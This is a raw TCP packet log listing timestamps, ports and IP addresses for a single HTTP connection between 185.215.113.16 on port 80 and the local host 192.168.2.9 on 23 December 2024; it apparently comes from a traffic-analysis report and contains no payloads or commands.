Dec 23, 2024 17:16:43.260539055 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.260590076 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.260654926 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.260690928 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.262762070 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.262800932 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.262926102 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.262964010 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.265285969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.265333891 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.265366077 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.265403032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.267406940 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.267450094 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.267508984 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.267545938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.269701958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.269753933 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.269825935 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.269866943 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.271971941 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.272021055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.272125006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.272161007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.274544001 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.274601936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.274921894 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.274962902 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.276815891 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.276856899 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.276891947 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.276923895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.279042959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.279090881 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.279181957 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.279218912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.281198025 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.281240940 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.281302929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.281341076 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.283549070 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.283567905 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.283591986 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.283644915 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.285778999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.285825014 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.285891056 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.285927057 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.288147926 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.288192034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.288387060 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.288512945 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.290482044 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.290502071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.290529966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.290568113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.292702913 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.292742014 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.292782068 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.292817116 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.294986010 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.295027018 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.295099974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.295133114 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.297637939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.297678947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.297709942 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.297743082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.299654961 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.299693108 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.299868107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.299901009 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.302005053 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.302042007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.302117109 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.302154064 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.304186106 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.304224968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.304569960 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.304605007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.306526899 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.306562901 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.306598902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.306631088 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.309076071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.309125900 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.309194088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.309232950 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.311131954 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.311173916 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.311176062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.311208010 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.313461065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.313502073 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.313539982 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.313587904 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.315802097 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.315841913 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.315871000 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.315907955 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.318053007 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.318103075 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.318186045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.318226099 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.320436954 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.320506096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.320508003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.320547104 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.322917938 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.322962999 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.322966099 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.322999954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.325047970 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.325086117 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.325138092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.325171947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.327246904 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.327289104 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.327370882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.327409029 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.329561949 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.329602003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.329878092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.329922915 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.331954002 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.331996918 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.332010031 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.332043886 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.334217072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.334259987 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.334284067 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.334317923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.336668968 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.336709976 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.336739063 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.336776018 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.338774920 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.338819027 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.338958979 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.338995934 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.341082096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.341144085 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.341196060 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.341234922 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.343389034 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.343444109 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.343480110 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.343519926 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.345702887 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.345757961 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.345808029 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.345841885 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.424329996 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.424397945 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.424447060 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.424487114 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.425690889 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.425745010 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.425785065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.425827980 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.427299023 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.427488089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.427489042 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.427525997 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.429352045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.429405928 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.429510117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.429553032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.431416988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.431468964 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.431569099 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.431610107 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.433434963 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.433485985 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.433509111 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.433549881 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.435467005 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.435518980 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.435579062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.435620070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.437340975 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.437385082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.437423944 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.437459946 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.439179897 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.439224005 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.439270973 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.439325094 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.441165924 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.441227913 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.441257954 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.441293955 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.443100929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.443144083 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.443151951 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.443187952 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.445166111 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.445281982 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.445691109 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.445729017 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.446712971 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.446753025 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.446851969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.446887970 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.448462963 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.448508024 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.448524952 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.448561907 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.450258970 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.450304985 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.450484037 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.450520992 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.451999903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.452044964 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.452054977 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.452085972 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.453912973 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.453958035 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.454041958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.454073906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.455492020 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.455534935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.455784082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.455816031 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.457256079 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.457303047 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.457463980 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.457499027 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.459042072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.459086895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.459110975 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.459136963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.460622072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.460661888 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.460668087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.460696936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.462260008 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.462302923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.462364912 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.462397099 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.463913918 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.463951111 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.464123011 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.464155912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.465596914 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.465642929 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.465961933 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.466008902 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.467278004 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.467335939 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.467538118 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.467581034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.468920946 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.468962908 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.469029903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.469065905 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.470920086 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.470964909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.471076012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.471120119 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.472147942 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.472193003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.472312927 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.472357035 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.473861933 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.473911047 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.473982096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.474031925 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.475303888 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.475353956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.475418091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.475461006 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.476860046 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.476908922 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.476982117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.477024078 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.478461981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.478511095 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.478532076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.478574038 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.480151892 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.480201006 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.480261087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.480304003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.481765985 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.481816053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.481878042 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.481919050 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.483359098 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.483411074 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.483411074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.483455896 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.484903097 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.485009909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.485066891 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.485112906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.486568928 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.486615896 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.486622095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.486664057 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.488135099 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.488190889 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.488226891 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.488270044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.489710093 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.489759922 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.489957094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.490000963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.491345882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.491398096 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.491528988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.491571903 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.492904902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.492963076 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.493021011 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.493058920 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.494520903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.494565010 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.494636059 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.494674921 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.496181965 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.496231079 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.496310949 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.496351004 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.497740030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.497788906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.497878075 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.497919083 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.499352932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.499398947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.499461889 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.499501944 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.500904083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.500948906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.501025915 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.501068115 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.502520084 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.502568007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:43.502628088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:43.502669096 CET	49730	80	192.168.2.9	185.215.113.16
